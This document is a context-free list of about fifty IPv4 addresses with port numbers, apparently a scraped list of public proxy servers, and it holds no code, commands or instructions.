213.57.122.138:8080 31.209.110.159:36575 31.209.96.50:57482 31.209.103.79:8080 62.4.54.158:53102 46.161.70.131:40795 62.4.60.50:53281 62.122.141.155:3128 91.218.163.74:50661 185.121.2.31:8080 102.176.189.13:8080 196.216.220.204:36739 103.107.152.98:8080 27.122.25.73:40205 185.96.68.94:8080 185.51.213.31:8080 190.53.46.14:38525 190.53.46.50:40573 197.231.186.148:53411 41.190.147.158:49666 208.163.39.218:53281 74.116.59.8:53281 203.143.33.169:8080 116.12.84.25:8080 45.120.116.144:48488 45.120.119.202:54179 154.126.79.14:8080 41.188.5.110:8080 181.225.242.98:8080 102.164.252.23:45011 103.244.228.26:8080 109.200.165.74:8080 202.128.22.29:48678 103.7.197.93:80 196.2.14.250:38145 197.149.128.25:8080 104.244.77.254:8080 217.64.109.231:45282 220.158.236.40:3128 203.99.157.126:23500 78.101.76.202:8080 154.66.245.47:46611 195.158.109.248:45678 84.22.45.81:8080 197.149.186.162:3128 95.209.155.91:8080 180.189.168.66:3129 154.66.109.105:57444 154.66.81.1:58461 41.242.140.157:34184 85.94.191.117:8080